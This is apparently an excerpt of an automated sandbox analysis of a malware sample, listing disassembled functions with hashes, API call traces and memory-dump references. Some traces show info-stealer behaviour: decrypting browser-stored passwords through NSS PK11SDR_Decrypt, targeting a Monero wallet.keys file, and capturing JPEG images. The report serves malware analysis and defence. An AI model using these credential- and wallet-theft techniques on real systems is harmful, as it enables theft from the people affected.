Instruction ID: 3a90510822abaa893e036b22fd3999430c5b74391923889bfb4243696a50c6fb
Opcode Fuzzy Hash: ea64236a012ddd0bfefcd3602e078e5714e806991f5f503e51f69f2a16b0a23a
Instruction Fuzzy Hash: CB61D0B250C604DFDB046E28DC4677EBBE0EB94750F26C92DE2CA47600E2795A50BB87

Function 005E8787 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 349e20d2ba5560a17546c2b25deae6c0e0b599caecf1d0efa74d007a03b24c2c
Instruction ID: 3bd1f3c2357e55b771207679d6aef9a766efeaef40dd98812d825a533f702b06
Opcode Fuzzy Hash: 349e20d2ba5560a17546c2b25deae6c0e0b599caecf1d0efa74d007a03b24c2c
Instruction Fuzzy Hash: 615133F3D086249BE3146E2CDC053BAFAD5EB94720F1B863DDBC493B84E979480486C6

Function 005AFA5D Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4976e308c0db81540441573b76c610da8899af6c5b561fdde3a80eedc62b181a
Instruction ID: 3ddc5e41826e9c7e21c14919b7accdf52c9e7f3d0042ba3ccfd4b16a8ae181d6
Opcode Fuzzy Hash: 4976e308c0db81540441573b76c610da8899af6c5b561fdde3a80eedc62b181a
Instruction Fuzzy Hash: 3251F6F3A083089BE705BE28EC557BABBD5DB94320F1A453DEAC4C3B54E97598048686

Function 0066DD78 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e0d98b2ff8cc5d5f0963dc1371930b5df155dfcc12e3be80b24a31c5910587
Instruction ID: 8c459101c28c777749dfa3baf5dd4c4b7e80fcfdf5dd74fa8de12394e648cc4d
Opcode Fuzzy Hash: 52e0d98b2ff8cc5d5f0963dc1371930b5df155dfcc12e3be80b24a31c5910587
Instruction Fuzzy Hash: CE5126F3A092105FF300A97DEDD57E77A95EB94320F2A463DDAC8D7784E539880582D2

Function 00339750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

jsallocations, xrefs: 6C69CD0E
seqstyle, xrefs: 6C69CCE6
ipcmessages, xrefs: 6C69CDBE
notimerresolutionchange, xrefs: 6C69CE00
unregisteredthreads, xrefs: 6C69CE58
mainthreadio, xrefs: 6C69CC7C
noiostacks, xrefs: 6C69CCBE
processcpu, xrefs: 6C69CE6E
java, xrefs: 6C69CC37
power, xrefs: 6C69CE84
fileio, xrefs: 6C69CC92
nativeallocations, xrefs: 6C69CDA8
cpuallthreads, xrefs: 6C69CE16
Unrecognized feature "%s"., xrefs: 6C69CEA0
stackwalk, xrefs: 6C69CCF8
screenshots, xrefs: 6C69CCD4
default, xrefs: 6C69CC21
leaf, xrefs: 6C69CC66
nostacksampling, xrefs: 6C69CD7C
preferencereads, xrefs: 6C69CD92
fileioall, xrefs: 6C69CCA8
audiocallbacktracing, xrefs: 6C69CDD4
samplingallthreads, xrefs: 6C69CE2C
markersallthreads, xrefs: 6C69CE42

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

user32.dll, xrefs: 6C664557, 6C66463F
Gml, xrefs: 6C6644FC
WRusr.dll, xrefs: 6C6644B5
l, xrefs: 6C664578
NativeNtBlockSet_Write, xrefs: 6C6646F7
kernel32.dll, xrefs: 6C6644CD

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 0032C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0032C9A5

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00F2D4C0,00000000,?,0034144C,00000000,?,?), ref: 0032CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0032CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0032CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0032CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0032CAD9
StrStrA.SHLWAPI(?,00F2D490,00340B52), ref: 0032CAF7
StrStrA.SHLWAPI(00000000,00F2D370), ref: 0032CB1E
StrStrA.SHLWAPI(?,00F2DB88,00000000,?,00341458,00000000,?,00000000,00000000,?,00F291F0,00000000,?,00341454,00000000,?), ref: 0032CCA2
StrStrA.SHLWAPI(00000000,00F2DCE8), ref: 0032CCB9

Part of subcall function 0032C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0032C871
Part of subcall function 0032C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0032C87C
Part of subcall function 0032C820: PK11_GetInternalKeySlot.NSS3 ref: 0032C88A
Part of subcall function 0032C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0032C8A5
Part of subcall function 0032C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0032C8EB
Part of subcall function 0032C820: PK11_FreeSlot.NSS3(?), ref: 0032C961

StrStrA.SHLWAPI(?,00F2DCE8,00000000,?,0034145C,00000000,?,00000000,00F29140), ref: 0032CD5A
StrStrA.SHLWAPI(00000000,00F28F50), ref: 0032CD71

Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B46), ref: 0032C943
Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B47), ref: 0032C957
Part of subcall function 0032C820: lstrcat.KERNEL32(?,00340B4E), ref: 0032C978

lstrlen.KERNEL32(00000000), ref: 0032CE44
CloseHandle.KERNEL32(00000000), ref: 0032CE9C
NSS_Shutdown.NSS3 ref: 0032CEAA

Strings

, xrefs: 0032C9C6

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: d1911c20ce0642aa121ac128b3d1f5e63d51ecd163c7b24112ddba7f02e851fa
Instruction ID: a317c4080ae71ebaae570caab25b9552c59a95a966fc8fd88c1847adf6905419
Opcode Fuzzy Hash: d1911c20ce0642aa121ac128b3d1f5e63d51ecd163c7b24112ddba7f02e851fa
Instruction Fuzzy Hash: DBE12C71910508ABDB16EBA4DCD2FEEBB78AF14300F004159F146BB191EF746A4ADF62

Function 00339010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0033906C

Strings

image/jpeg, xrefs: 00339136

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
